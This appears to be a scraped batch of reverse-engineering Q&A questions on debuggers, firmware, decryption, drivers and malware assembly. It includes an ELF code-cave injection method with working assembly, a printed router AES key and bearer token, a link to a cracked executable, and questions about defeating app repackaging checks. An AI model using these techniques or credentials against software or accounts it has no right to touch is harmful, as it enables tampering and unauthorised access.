+Any idea why and how to solve this issue? This is my first time using recaf as well so it might be a newbie question. +" +"['x64dbg', 'x86-64', 'asm']"," Title: x64dbg or alternative: Run to selection while storing all ran opcodesBody: I'm trying to trace a function, but unfortunately that function is huge and has lots and lots of jumps to other locations, making it almost impossible to trace for humans. I know the entry point and the exit point of the function. I would like a way to be able to run the function and see all of the opcodes that were executed afterwards so I can manually recreate the function later in c++. It will also help me find exactly where the function is crashing (since it would be last executed code) when it crashes. +I've tried the tracing method in x64dbg but that would not record opcodes that I didn't manually walk over. +" +['ios']," Title: Dumping available XPC interface and methodsBody: I'm reading this article, and it says: +
The following functions are exposed over XPC to the caller:
+
+@protocol _TtP4main21ForkLiftHelperProtcol_
+- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
+- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
+...
+
+How can one dump all the protocols and its methods? +" +"['binary-analysis', 'ghidra']"," Title: Defining all undefined functionsBody: I analyzed a binary, and lots of functions weren't detected as such - the bytes weren't detected as assembly. I read about the Aggressive Instruction Finder analysis and used it. Now the instructions are detected, but the functions (at least some) aren't. +For a single function, I know that I can press F to define it. Is there any way to do that automatically for all/most undefined functions? +Example for an undefined function: + +" +"['windows', 'driver']"," Title: Windows: Is it possible to mix FastIoDispatch with the registration of IOCTLs?Body: I am reverse engineering a Windows device driver. My main previous experience was with drivers I had written before, or toy drivers from tutorials. +I started reversing the driver by searching for IOCTL handlers. However, in the initial driver entry the Driver Object struct lines up such that the function that appears to contain IOCTLs aligns with the "FasIODispatch" member. I am on the fence as to whether this is a mistake on my part, or whether it makes sense to define IOCTLs in a Fast I/O dispatch table. +Here is what I mean: + +Now deep nested within that function, there are many comments directly describing the contents as IOCTL handling code. +For instance note the following debug string in the driver: + +Now, the help here is to help me understand whether this is: +a) Me misinterpreting the driver object struct offsets such that a MAJOR_FUNCTION is missed and place of FastIoDispatch +b) A sensible interpretation where a fastIo Dispatch table includes definitions of IO Controls. +I am leaning towards B, but I do not have the experience with FastIO file driver development to know what a fastio file driver dispatch table would look like. The reason I am concerned I have something wrong is that all of the data I have seen so far makes it seem like one would IRP handling structures and FastIO separately. Mixing the two would seem to me as if it were against the point of using FastIO, but who knows what driver developers do in practice. +Please let me know if there's anything else I can do to help device this. Note this is a 3rd party device driver I am RE'ing in my spare time. I'm not sure what the policy is here, but I'm not sure I should post the name if you want to RE it yourself. +" +"['windows', 'decompilation', 'windows-10', 'api-hacking']"," Title: Accessing Windows 10 Feedback Hub DataBody: I'm trying to make a website that displays the feedback from the Windows 10 Feedback Hub but i have met a roadblock. I'm using Fiddler 4 (Fiddler Everywhere doesn't have support for UWP yet and WireShark didn't give me much data) to see the requests being sent to Microsoft's servers. +I have tracked down that the request that receives the feedbacks is the following: +
GET https://uif.microsoft.com/FeedbackCloudService.svc/feedbacks?&language=en-US&sortCategory=0&searchCategory=1&feedbacksFilter=0&issueFilter=0&statusFilter=0&buildFilter=0&userFilter=1&filterFormFactor=1&isRefresh=False&hasSticky=False&useCol=1 HTTP/1.1
+
+But this request require a Bearer token (not JWT) which changes each day. The token is never being received from any of the previous requests sent what i can gather so I assume it's being generated locally in the app. Example of what that token can look like: +
Bearer t=EwAgA6V3BAAUGPuzwScRsx1D3Ae+Cp5u2pto1vUAAb8PDcrWR7+vMEF4YZMTWJmipBhl8htHXLaRgddZ7MtcdDscYYsiLZgX7BhPCLB8sSJtzvaA2N73lMP80jv+vSk180vi7FAtgIzRGk9VPFn5Ogs3M2ysJVv5m/r8DXIJ8IHyki726AgreMpm2BW0UPCmcKUY1KFJh/Vmdc9n1woMJYaUh5DhSPndHhoN4F51vlt6ZZ6Pg6fmX7YreEj+4RdUgmRe9JD2L+BwRmwPpbls821UdhspQ5rQskH5HanqoKm9k1iWxiutno2EWW1aVbCPrPFNVjmpawz9vsT8RMIhD919g9YQagudz8ezLaR7vWBfnbRM+yMt/yjNROJzfcQDZgAACKFy0iuQaBDL8AGPGDzJEYGt9XjfIMdTU+2T3/O8yBB19wengT93OCEUNIJz1xZ36i3LeNVaGl0lv+Rl2HAvRNywf/YwQjpQ7bxY1KbmvLmLTYGwea8XigCgHwJIcg+vxnDEwmIgdt+tewlRFGdPmlDAK4TS6tusq/kl1mGWrR25fVqwoS1D4EyhaQB12OQIVXo+hiIR9ZIHgcc6OOJ75G2SADNRACxH8sA3gPLNCtQgJxQEinmUOjZr1HepstvSFq5TI21hUuk5cwxWEINdjvZeCg75KCWf3582MZvEWwEX3MuOw6BJmhuW0prwp8kL/WaOypfb7wXXWFuk1drYWEEMfz1raXnsNf9vR3Kp4+kS6lM5giOdrsWx3UpqSFGqGhTwlDdexpwW+vgkxh3jutWetYvBl+7R00faU+rxj0CrEMKev8HnEuJVfBv20UQ5b4GFq2w73PzDjH61NW8YplI7UggfDLRKnfPtT5ZuOISRJUtY9RjKUYfgN7PJouY4bAx24qepaDpqfHkJIB0n5qMQ/TmCukL2BT5CrNQIoUt0W6ii+U2sq31V0fbpMlGq9EjWTiDQ171VJiJ2YXQn/iHaamq6I4lYT5Rw1jxw465GU+FkrqX1lSQnlYDWqMctT/HDG2gF1KZ9nT56RqRnoWxjFqVr5+jQn+zIIgI=&p=
+
+So now I wonder if there's any way to crack open the Feedback Hub app and see how this token is being generated or where it's getting it from. I know pretty much nothing about RE and especially not about UWP RE since it's not dotnet so I can't use dotPeek on it or similar. +Any help would be appreciated! +" +"['debugging', 'memory-dump', 'openssl']"," Title: Analyse structure from memory dumpBody: I'm trying to extract master key from OpenSSL 1.0.2l (statically linked without debug symbols). +I'm using x64dbg, I was able to locate int SSL_connect(SSL *s) method, so I have a breakpoint there (the breakpoint gets hit). In the result, I have a pointer to SSL parameter that contains SSL_SESSION *session member, in which the master key is located. +The SSL pointer points me the following place in dump: + +Is there any easy way to find my poiner to SSL_SESSION *session member here? Any other tool suggestions? +Useful links to OpenSSL source code: +int SSL_connect(SSL *s) +SSL structure +SSL_SESSION *session member in SSL +SSL_SESSION structure +" +['usb']," Title: Unknown (and unowned) USB deviceBody: I rarely run Windows, but have some Windows software I'd like to take a look at. This doesn't require a security "dongle", but won't start without the presence of a particular USB-connected peripheral about which virtually nothing is known. +The software I have is Brother PE-Design Plus, which prepares .pes files for their embroidery machines. The hardware is described as "04f9:2100 Brother Industries, Ltd Card Reader Writer". +This is not at all "mission critical" for me since the machine I'm looking at can be configured using a USB "thumb drive", but older machines /have/ to be programmed via one of these writers. +The writers are scarce and expensive. Older variants for the same type of card were connected to a serial port, but the software I have appears to be USB-specific. The card has a chip under an epoxy blob, which is suspected to be a 512Kbyte Flash device. +After installation, the Brother software includes a file CardIO.dll, which encodes the correct USB vid:pid numbers and has what looks like card-related debugging messages and mangled C++ entry point names including ?ChkCardWriterConnected@CCardIO@@QAE?AW4CIOError@@HPAEPAH@Z +There is nothing in that file which indicates what type of device is expected (i.e. USB serial vs HID etc.) but my knowledge of the inside of Windows drivers is limited. +I was thinking that I might be able to program a Teensy (I think I've got a 3.5) to emulate the various USB device types and see if I could at least work out what sort of device type the Brother software was expecting. Otherwise I'm aware of e.g. https://hackaday.com/2019/07/02/hands-on-greatfet-is-an-embedded-tool-that-does-it-all/ and the Facedancer project, however I think that most things like this are more oriented to analysing available hardware rather than something unseen. +Wireshark on Windows shows nothing. I've not yet tried setting up Windows under Qemu (etc.) and seeing whether I can track anything at the hardware level, but I suspect that detection is based on a hotplug event which tells Windows that it is to respond positively to a presence query. +Any thoughts would be appreciated. +A few days later: It looks as though having any USB device with the correct vid:pid doublet is sufficient to get the Brother card reader driver loaded, but not to get the app running (and nothing useful shows up in Wireshark). I've been using a Teensy 3.5 set up as a rawhid device, I'm not sure whether the type of device matters since I suspect I'm up against OS caching issues which muddy the water. +" +"['pe', 'elf', 'binary-format', 'compilers']"," Title: Name other than "".text"" for the main code sectionBody: Is it safe to assume that, in the general case, the name of the section containing the user code (not the compiler generated code) is .text? I spot-checked several ARM, x86 and MIPS binaries (PE and ELF) and it seems to be the case. +I suppose the compiler/linker can be configured to chose a different name. In which cases would one want to change it? Are there known examples (CPU arch, compiler, etc.) where there is no .text section? What are other frequently used names? Can user code be put in other sections than the .text section? +Or is the name .text required to be a valid PE / ELF and thus always chosen? The ELF specification for example mentions the name .text several times, so does the PE specification. +" +['memory-dump']," Title: I have a 16GB memory dump from Belkasoft RAM Capture, what free tools can I use to analyze it?Body: I have a 16GB memory dump from Belkasoft RAM Capture, what free tools can I use to analyze it? +I have used IDA free version to try to open it and it is showing me an error that it is out of memory and asking me to increase system drive by 70GB. +Are there any free software tools which don't require such large disk space? +" +"['tools', 'encryption', 'decryption']"," Title: Need help with ZTE router config.bin file decryption and encryptionBody: bin file extracted from a ZXHN H168N V3.1. RouterPassView is able to decrypt the file successfully but the tool can't re-encrypt the file, it gave me some info about the method used to decrypt here they are +File Type: 29 +Encrypted Data Start Position: 227 +Encryption Algorithm: AES-128 +Encryption Key: 34303263333864653339626564363635 +Compression: zlib/deflate +am a noob when it comes to this stuff so idk how to code my own tool does anyone know a tool that i could use to decrypt and re-encrypt the file +" +"['ollydbg', 'x64dbg', 'patching', 'x86-64', 'calling-conventions']"," Title: Calling MessageBoxW x64 confused about pointerBody: OK, I am very new to x64dbg. I used to use OllyDbg a lot and I'm having some problems with this. +I just made a customized version of MS-PAINT for practice by changing a few things like the default palette, etc. +I want to add a MessageBoxW to the help button in the corner. I successfully located the method. In ollydbg, I could simply type push, push, push and then call MessageBoxW, but it doesn't work with this. Maybe it's not imported? But I searched for references and found a MessageBoxW, but it looks like this: call qword ptr ds:[0x00000000FF467880] and that ptr is automatically evaluated to MessageBoxW. However, when I copy that code myself it's not working. Why can't I simply type call MessageBoxW???? +I know this might seem amateurish, but I am doing this to try to learn how to use this debugger better. I hope you understand I don't have much experience. Thanks! +" +"['windows', 'debugging-symbols', 'pdb']"," Title: Is it possible to download program database (PDB) files of Microsoft Windows binaries without installing any software?Body: I want to download the .pdb files of Windows binaries (e.g., notpad.exe) on machines where the user doesn't have admin rights, nor has any debugger available. I was wondering if it is possible to download the PDB files using Windows built-in functionalities such as cmd/batch, Powershell, or WSH VBScript or JScript? +I think the first step is to find the globally unique identifier (GUID) of the binary, and then probably there are some URL queries one can use to download the specific program database file of the built. +P.S.1. Apparently the New Technology Symbolic Debugger (NTSD) used to come built into the Windows OS. I am not aware of the OS includes any debuggers by default anymore. +P.S.2. From this comment, I was pointed towards the right URI to download the exact PDB file, given the GUID of the binary. Now the problem is to know how to extract the GUID from the binary itself. +P.S.3. I am wondering if the CLSID/GUID/ProgID of all binaries are stored in the registry and one can manually map them to the specific .dll/.exe files. +" +"['disassembly', 'encryption', 'ios']"," Title: Is it possible to somehow derive the decryption key for iOS app binaries?Body: While disassembling an IPA downloaded directly from the App Store CDN, I noticed that the binary had an unusually large entropy. Looking this occurrence up confirmed my suspicion that it was encrypted, and that they were decrypted at launch time— which suggests that the decryption key is somewhere on the device. Why wouldn’t it be possible to obtain this key using a jailbroken device? Am I overlooking something critical? Thanks! +" +"['windows', 'encryption', 'virtualizers']"," Title: Figuring out encryption technique of network connectionBody: I am trying to reverse a virtualized program (using VMProtect 3.4.x). I decided to hook certain functions of the program such as the winsocks library send() and recv(). +This is how it looks like: +
[monitor] send() buf: ╣▒√≈o└┼└1£ len: 12 flags: 0
+[monitor] recv() buf: ╣▒√≈o└═└1£ len: 12 flags: 0
+[monitor] recv() buf: ï|W,7¼≤╛ len: 8 flags: 0
+[monitor] send() buf: √X╥(£!◄▀√εPî'Zë¬08ꣽ╘╤µ0ߺÉ╥╬=S3τU_╜µⁿºi┼²f░uw╦╖TX▓°┼ùΘ¿╡ len: 58 flags: 0
+[monitor] recv() buf: √X╥(₧!◄▀╘εPî len: 12 flags: 0
+[monitor] recv() buf: % len: 1 flags: 0
+[monitor] send() buf: √X╥(Æ!◄▀òεPîT♂╥πc_╨ÿ╒╜ùΓzï╟ÿ▐Ω§Sc┘9~ïσµ┤P╟σRà⌂X╚éT2╪²µ╛Γ╓π≡3r~╗l╘O╓▀]PÖån╟ǽ len: 76 flags: 0
+[monitor] recv() buf: √X╥(₧!◄▀╘εPî len: 12 flags: 0
+[monitor] recv() buf: % len: 1 flags: 0
+
+Another run: +
[monitor] send() buf: ╣▒√≈o└┼└1£ len: 12 flags: 0
+[monitor] recv() buf: ╣▒√≈o└═└1£ len: 12 flags: 0
+[monitor] recv() buf: ïxS*4¬≤╗ len: 8 flags: 0
+[monitor] send() buf: F►²cgTα2╬|4÷«ÄY░Θs*Bít╡Yl⌠rp↑↑─╨¶WD┬☼«U;÷ƒçz▼╣┐┌n╘Γ│óHUU len: 58 flags: 0
+[monitor] recv() buf: F►²ceTα2ß|4÷ len: 12 flags: 0
+[monitor] recv() buf: ¼ len: 1 flags: 0
+[monitor] send() buf: F►²ciTα2á|4÷▌▀☻∙║¶rF▀↔≤]&₧↕x¶<∞╨Di(π9¡O(╧¥ƒN2§û╝∩n╛ê╢$ïC+♥σ╠n▄E÷sÿ↑¬╗z°☻═a] len: 76 flags: 0
+[monitor] recv() buf: F►²ceTα2ß|4÷ len: 12 flags: 0
+[monitor] recv() buf: ¼ len: 1 flags: 0
+
+I would like to know what is being send and received. I don't know how the final buffer will look like. Given the fact that there are some repeating symbols I don't think any complex algorithm is used. +Is there any (somewhat) easy way to figure it out or do I have to go though the virtualized code? +" +['firmware']," Title: Where is the persistent storage on this router?Body: I am working on reversing a router for which I cannot find downloadable firmware anywhere. I managed to get a root shell on the router. I am now confused as I cannot see any persistent writeable mounts. Most are tmpfs filesystems, one is a sysfs which as far as I understand is not an actual filesystem, and /dev/mtdblock7 which is a squashfs filesystem (and is readonly). Where is the persistent storage that keeps my configurations? What am I missing here? +
# mount
+/dev/mtdblock7 on / type squashfs (ro,relatime)
+/proc on /proc type proc (rw,relatime)
+tmpfs on /var type tmpfs (rw,relatime,size=15360k)
+tmpfs on /mnt type tmpfs (rw,relatime,size=16k)
+sysfs on /sys type sysfs (rw,relatime)
+tmpfs on /tmp type tmpfs (rw,relatime,size=3096k)
+none on /proc/bus/usb type usbfs (rw,relatime)
+
+Update: +Board +This is a ZTE router, the board has a printed label that says: ZXHN H367N V1.0 +The default update file that uboot looks for when booting over tftp is called H367N_image.bin +Running zcu signature on the config file gives ZXDSL 931VII V3.0 +The decryption password used to decrypt and encrypt the file is the same as the one used in ZXHN H208N according to this. +Also, I remember seeing H368N somewhere, but I'm not sure where. +Finally I found paths that have the directory H367N_Develop_UGW5.4 in them. +mtdblocks +(This is a summary of what binwalk found) +mtdblock0: + +mtdblock1: + +mtdblock2: + +mtdblock3: + +mtdblock4: + +mtdblock5: + +mtdblock6: + +mtdblock7: + +mtdblock8: + +mtdblock9: + +mtdblock10: + +mtdblock11: + +mtdblock6 and mtdblock8 are identical +mtdblock7 and mtdblock9 are identical +mtdblock3 contains the same binary as mtdblocks 6,7,8 and 9, and likely others as well. +I tried remounting /dev/mtdblock7 but failed. Maybe I did something wrong but my understanding is that squashfs should not be writable in any case. +" +"['linux', 'c', 'gdb', 'elf', 'injection']"," Title: ELF binary injectionBody: I am currently working on an ELF-injector and my approach is standard: find code cave (long enough sequence of 0's), rewrite it with the instructions I want to execute and then jump back to the start of the original program to execute it as it normally would. +To actually execute code in the code cave I tried two different approaches, both of which result in sigsegv. +First one was changing entry point to the start of the code cave. The second one was "stealing" some of the first instructions from the original code and write jump to my code cave there and then after executing my injected code I would first execute stolen instructions and then jump to the instruction after the last stolen one in the original program. +I am also changing the access flags for the section, in which code cave resides. +Here are some screenshots of debugging the program in gdb: + + + +And here are the flags for the section the code cave is in: +[19] 0x555555556058->0x555555556160 at 0x00002058: .eh_frame ALLOC LOAD READONLY CODE HAS_CONTENTS +This is the Valgrind output. + +So is there a way to actually allow the execution of code in this section. +I also thought about adding new section to the binary and writing my code there. If someone had experience in doing so, I would appreciate the info. +EDIT: I think I know what my mistake is - I set the executable flag for the section, but the segment it's in isn't executable. But it also seems like the code cave I found doesn't belong to any section, since the start of the code cave is actually the end of one section and the end of the code cave is the start of another section. And there are no other sections in between. +EDIT 2: I changed the code cave to the one, that is in .fini section, which belongs to executable segment. However I am still confused about the empty space between sections (and segments). +Here are the screenshots of the readelf output +
Section Headers:
+  [Nr] Name              Type             Address           Offset
+       Size              EntSize          Flags  Link  Info  Align
+  [ 0]                   NULL             0000000000000000  00000000
+       0000000000000000  0000000000000000           0     0     0
+  [ 1] .interp           PROGBITS         0000000000000318  00000318
+       000000000000001c  0000000000000000   A       0     0     1
+  [ 2] .note.gnu.propert NOTE             0000000000000338  00000338
+       0000000000000020  0000000000000000   A       0     0     8
+  [ 3] .note.gnu.build-i NOTE             0000000000000358  00000358
+       0000000000000024  0000000000000000   A       0     0     4
+  [ 4] .note.ABI-tag     NOTE             000000000000037c  0000037c
+       0000000000000020  0000000000000000   A       0     0     4
+  [ 5] .gnu.hash         GNU_HASH         00000000000003a0  000003a0
+       0000000000000024  0000000000000000   A       6     0     8
+  [ 6] .dynsym           DYNSYM           00000000000003c8  000003c8
+       00000000000000a8  0000000000000018   A       7     1     8
+  [ 7] .dynstr           STRTAB           0000000000000470  00000470
+       0000000000000082  0000000000000000   A       0     0     1
+  [ 8] .gnu.version      VERSYM           00000000000004f2  000004f2
+       000000000000000e  0000000000000002   A       6     0     2
+  [ 9] .gnu.version_r    VERNEED          0000000000000500  00000500
+       0000000000000020  0000000000000000   A       7     1     8
+  [10] .rela.dyn         RELA             0000000000000520  00000520
+       00000000000000c0  0000000000000018   A       6     0     8
+  [11] .rela.plt         RELA             00000000000005e0  000005e0
+       0000000000000018  0000000000000018  AI       6    24     8
+  [12] .init             PROGBITS         0000000000001000  00001000
+       000000000000001b  0000000000000000  AX       0     0     4
+  [13] .plt              PROGBITS         0000000000001020  00001020
+       0000000000000020  0000000000000010  AX       0     0     16
+  [14] .plt.got          PROGBITS         0000000000001040  00001040
+       0000000000000010  0000000000000010  AX       0     0     16
+  [15] .plt.sec          PROGBITS         0000000000001050  00001050
+       0000000000000010  0000000000000010  AX       0     0     16
+  [16] .text             PROGBITS         0000000000001060  00001060
+       0000000000000185  0000000000000000  AX       0     0     16
+  [17] .fini             PROGBITS         00000000000011e8  000011e8
+       000000000000000d  0000000000000000  AX       0     0     4
+  [18] .rodata           PROGBITS         0000000000002000  00002000
+       0000000000000012  0000000000000000   A       0     0     4
+  [19] .eh_frame_hdr     PROGBITS         0000000000002014  00002014
+       0000000000000044  0000000000000000   A       0     0     4
+  [20] .eh_frame         PROGBITS         0000000000002058  00002058
+       0000000000000108  0000000000000000   A       0     0     8
+  [21] .init_array       INIT_ARRAY       0000000000003db8  00002db8
+       0000000000000008  0000000000000008  WA       0     0     8
+  [22] .fini_array       FINI_ARRAY       0000000000003dc0  00002dc0
+       0000000000000008  0000000000000008  WA       0     0     8
+  [23] .dynamic          DYNAMIC          0000000000003dc8  00002dc8
+       00000000000001f0  0000000000000010  WA       7     0     8
+  [24] .got              PROGBITS         0000000000003fb8  00002fb8
+       0000000000000048  0000000000000008  WA       0     0     8
+  [25] .data             PROGBITS         0000000000004000  00003000
+       0000000000000010  0000000000000000  WA       0     0     8
+  [26] .bss              NOBITS           0000000000004010  00003010
+       0000000000000008  0000000000000000  WA       0     0     1
+  [27] .comment          PROGBITS         0000000000000000  00003010
+       000000000000002a  0000000000000001  MS       0     0     1
+  [28] .symtab           SYMTAB           0000000000000000  00003040
+       0000000000000618  0000000000000018          29    46     8
+  [29] .strtab           STRTAB           0000000000000000  00003658
+       0000000000000202  0000000000000000           0     0     1
+  [30] .shstrtab         STRTAB           0000000000000000  0000385a
+       000000000000011a  0000000000000000           0     0     1
+
+
+
+
Program Headers:
+  Type           Offset             VirtAddr           PhysAddr
+                 FileSiz            MemSiz              Flags  Align
+  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
+                 0x00000000000002d8 0x00000000000002d8  R E    0x8
+  INTERP         0x0000000000000318 0x0000000000000318 0x0000000000000318
+                 0x000000000000001c 0x000000000000001c  R E    0x1
+      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
+  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
+                 0x00000000000005f8 0x00000000000005f8  R E    0x1000
+  LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000
+                 0x00000000000001f5 0x00000000000001f5  R E    0x1000
+  LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000
+                 0x0000000000000160 0x0000000000000160  R E    0x1000
+  LOAD           0x0000000000002db8 0x0000000000003db8 0x0000000000003db8
+                 0x0000000000000258 0x0000000000000260  RWE    0x1000
+  DYNAMIC        0x0000000000002dc8 0x0000000000003dc8 0x0000000000003dc8
+                 0x00000000000001f0 0x00000000000001f0  RWE    0x8
+  NOTE           0x0000000000000338 0x0000000000000338 0x0000000000000338
+                 0x0000000000000020 0x0000000000000020  R E    0x8
+  NOTE           0x0000000000000358 0x0000000000000358 0x0000000000000358
+                 0x0000000000000044 0x0000000000000044  R E    0x4
+  GNU_PROPERTY   0x0000000000000338 0x0000000000000338 0x0000000000000338
+                 0x0000000000000020 0x0000000000000020  R E    0x8
+  GNU_EH_FRAME   0x0000000000002014 0x0000000000002014 0x0000000000002014
+                 0x0000000000000044 0x0000000000000044  R E    0x4
+  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
+                 0x0000000000000000 0x0000000000000000  RWE    0x10
+  GNU_RELRO      0x0000000000002db8 0x0000000000003db8 0x0000000000003db8
+                 0x0000000000000248 0x0000000000000248  R E    0x1
+
+ Section to Segment mapping:
+  Segment Sections...
+   00     
+   01     .interp 
+   02     .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt 
+   03     .init .plt .plt.got .plt.sec .text .fini 
+   04     .rodata .eh_frame_hdr .eh_frame 
+   05     .init_array .fini_array .dynamic .got .data .bss 
+   06     .dynamic 
+   07     .note.gnu.property 
+   08     .note.gnu.build-id .note.ABI-tag 
+   09     .note.gnu.property 
+   10     .eh_frame_hdr 
+   11     
+   12     .init_array .fini_array .dynamic .got 
+
+
+
+As can be seen, section .fini starts at 11e8 and has the size of d. The next section - .rodata starts at 2000. Does that mean that the space between 11e8 + d and 2000 does not belong to any section? That segment also ends at 11F5, which is the end of last section belonging to it - .fini. +EDIT 3: managed to solve the problem - had to choose the section, that belongs to the executable segment. Still a bit confused about the sizes of sections. +Actually managed to inject the code into the binary, however, I got the instructions from an assembly, which only has .text section: +
.text
+.globl _start
+_start:
+  #save the base pointer
+  pushq %rbp
+  pushq %rbx
+  mov %rsp,%rbp
+
+  #write syscall = 1
+  movq $1, %rax
+  #print to stdout
+  movq $1, %rdi
+  #9 character long string
+  movq $9, %rdx
+
+  # push "INJECTED\n" to the stack  
+  movq $0x0a, %rcx
+  pushq %rcx
+  movq $0x44455443454a4e49, %rcx
+  pushq %rcx
+
+  movq %rsp, %rsi
+
+  syscall
+
+  #remove the string
+  pop %rcx
+  pop %rcx
+
+  movq $0, %rax
+  movq $0, %rdi
+  movq $0, %rdx
+
+  
+  pop %rbx
+  pop %rbp
+  ret
+
+It prints "INJECTED" before the original program execution. While this kind of payload works, what are other ideas of implementing better and actually usable injector? Maybe with the possibility of calling libc functions or some other library functions, that are linked by our victim binary? Because it seems like getting actual instruction from the code, we would like to inject, is kind of pain in the ass. +" +"['assembly', 'decompilation', 'c++', 'malware']"," Title: Why does decompiling a C++ using Snowman yield some full variable names and some obfuscated ones?Body: I decompiled a C++ exe file using Snowman, hoping to see if it was malware or not (Although, honestly, I have no clue how to continue that - The file is really large, and the decompilation mostly gibberish) +It resulted in a pretty big chunk of code, most of which obviously had no proper variables names attributed to it anymore; Instead, variables and functions were either named like the assembly registers they belong to, or by some hex name, or by some number/char combination that did not particularly look like hex. +However, part of the code somehow still had proper names, although they all seemed to be system functions: DrawRect, RegCreateKeyExA, DefWindowProcA, SHBrowseForFolderA, and so on - plenty of calls that seem to interact with the system. +Does that mean that the decompilation preserved Windows system calls, but not the names of functions/variables created by the developer of the file? +If so, what should I do next to be able to see whether the file could have malicious intent or not? +It might also be noteworthy to say that the file I'm looking at is a Nullsoft Installer - So technically, a lot of the decompiled code is just overhead, when I actually want to look at what it installs and not the installer itself. +" +"['assembly', 'x86']"," Title: Is there a meaning to the test instruction if it isnt followed by a conditional jump?Body: Pasting a snippet of code I found inside a malware sample. +
0040F695    push ecx                    
+0040F696    lea ecx,dword ptr ss:[esp+8]
+0040F69A    sub ecx,1000                
+0040F6A0    sub eax,1000                
+0040F6A5    test dword ptr ds:[ecx],eax 
+0040F6A7    cmp eax,1000                
+0040F6AC    jae sample.40F69A           
+0040F6AE    sub ecx,eax                 
+0040F6B0    mov eax,esp                 
+0040F6B2    test dword ptr ds:[ecx],eax 
+0040F6B4    mov esp,ecx                 
+0040F6B6    mov ecx,dword ptr ds:[eax]  
+0040F6B8    mov eax,dword ptr ds:[eax+4]
+0040F6BB    push eax                    
+0040F6BC    ret                                                
+
+I am not sure what the test instruction achieves here. I am used to seeing a conditional jump right after it. But here there is a test, cmp and then a conditional jump and also a test followed by no jumps. Would it make any difference if the test instructions were omitted? +" +"['binary-analysis', 'x86', 'malware', 'amd64']"," Title: Mul(Multiplication) in x64 and in x32 assemblyBody: I'm completely new in malware reverse engineering. I'm stuck in a confusion that, +I studied that in x32, mul instruction multiplies the source with eax register and store the result as 64 bit value across two registers i.e. EDX:EAX. EDX stores most significant bit of 32 bits of operation and EAX do the same. So, my question is what happens in x64? how the values are stored in RAX:RDX after multiplication. I also ping the Google but did'nt understand much. I hope you all will respond. +" +['android']," Title: Protection of Financial Apps against repackagingBody: I have tried repackaging few financial apps and when I tried running their repackaged version, I found out that either it is getting crashed at the launcher activity, or at the later point it is getting crashed. +I have a doubt that how the developers of these financial apps make their app more secure against repackaging? +Is signature checking the only way, developer will use as an anti-repackaging measure or is there any other way which developer can use? +Are the developers using any existing framework which automatically makes their app more secure? +" +"['x86', 'ghidra', 'x86-64', 'register', 'script']"," Title: How can I get the inferred register value for an instruction in Ghidra scripting?Body: I'd like to get the inferred value of a register at a particular point in the disassembly listing in a Ghidra script. +In my case the target instruction is a rdmsr or wrmsr instruction, which reads or writes the MSR at ecx. While I could walk back through the previous instructions and look for a simple mov ecx, const pattern, there are significantly more ways to set ecx to some known value that the decompiler is capable of inferring. +I've tried calling getRegisterValue on the rdmsr instruction, passing in a Register type describing ecx, but this just returns None. Is there a way to infer register values at a particular instruction? +Here's the disassembly: + +And the decompiled result: + +Here's the P-Code: + +" +"['deobfuscation', '.net', 'c#']"," Title: What obfuscator is used?Body: In version 3.7.3.7 I was able to modify some parts of the code using dnSpy. The language is C#. But in the new(next) version, I did not succeed and I guess the code is obfuscated. De4dot did not help. Thanks for any help! 🙂 +Link for untouched 3.7.4.1 exe and cracked 3.7.3.7 exe: +https://u.pcloud.link/publink/show?code=XZ1x8LXZjkm0YjbRzdfMqwAkkLsUu8RM42qV +" +"['decryption', 'hex']"," Title: Decoding Hex DataBody: I'm trying to decode .PLW data acquired by a temperature logger (PicoLog PT-104). +If you convert the .PLW file to a .txt file through the official software you get something like this: + +where each row has single temperature measurements across the 20 channels available to the device. I would like to extract the data directly from the .PLW, file without having to convert it to .txt first. +By opening the .PLW file in a hex editor, I have managed to isolate with a bit of tweaking the section which seems to contain the raw data measurements: + +The first 4 hexes contain the row index. And should be read in the reversed column order 03 02 01 00. +There are then the 20 groups of 4 columns, one for each channel. Assuming all groups should be read right to left (given that was the case for the index columns), they all seem to begin with 0x41 which might maybe be some kind of encoding for the tab character (or similar). +The next hex in each chunk (so the one just before the 0x41) seems to be mapping at least to some approximate way the temperature read in that channel: + +And the order of the channels also seems to match the order of the columns in the .txt file: for example channel 8 in the .txt file has an outlier temperature at 13 --> which is also present in the 8th data column in the .PLW file, where the temperature hex is set to 0x50 +Would anyone be able to crack the mapping between the hex values in each chunk to the final temperature measurement displayed in the .txt file? +Or does anyone know of an encoding where 0x41 would correspond to a tab-like character? Thanks! +" +"['radare2', 'remote']"," Title: how do I use Remote Binary Protocol in cutterBody: how do I use Remote Binary Protocol I tried to connect to gdbserver through the normal method but it would just hang and not connect. I let it go like that for 1 hour +" +"['debugging', 'gdb', 'remote', 'aarch64']"," Title: Remote Debugging an Aarch64 ELF File on Multiarch/Qemu-user-static (arm64v8/alpine) Docker ContainerBody: My goal is stated in the title. However, I think there is a fundamental issue with gdbserver. In particular, I create an aarch64 alpine docker container on a x86_64 Ubuntu 16.04 host using +sudo docker run --rm -it -p 12345:12345 -v /host_dir:/container_dir --privileged arm64v8/alpine /bin/ash +I then proceed to install gdb in the container using apk add gdb. Subsequently I run ps aux just to get a list of the processes running in the container in order to test gdbserver --attach COMM...PID command in the container. Interestingly absolutely no output no matter how much time goes on. As a result, I switch to the host and simply do the same exercise on the Ubuntu machine, i.e., I attach to a random process with pid 23056. The output to gdbserver --attach :12344 23056 is Attached; pid = 23056 Listening on port 12344, which is what I expected to happen with gdbserver in the container. Any help as to why gdbserver in the container doesn't behave properly is appreciated! +EDIT 1: +I tried again and first ran sudo docker run --rm -it --privileged -p 7777:7777 -v home_dir:container_dir arm64v8/alpine and then ran gdbserver localhost:7777 ./binary and then as suggested in the comments I used netstat -l in the container and got tcp 0 0 0.0.0.0:7777 0.0.0.0:* LISTEN. So it seems that clearly gdbserver is listening for a tcp connection. Then I use gdb-multiarch binary on the host machine and then (gdb) target remote localhost:7777 to get: +Remote debugging using localhost:7777 +Ignoring packet error, continuing... +warning: unrecognized item "timeout" in "qSupported" response +Ignoring packet error, continuing... 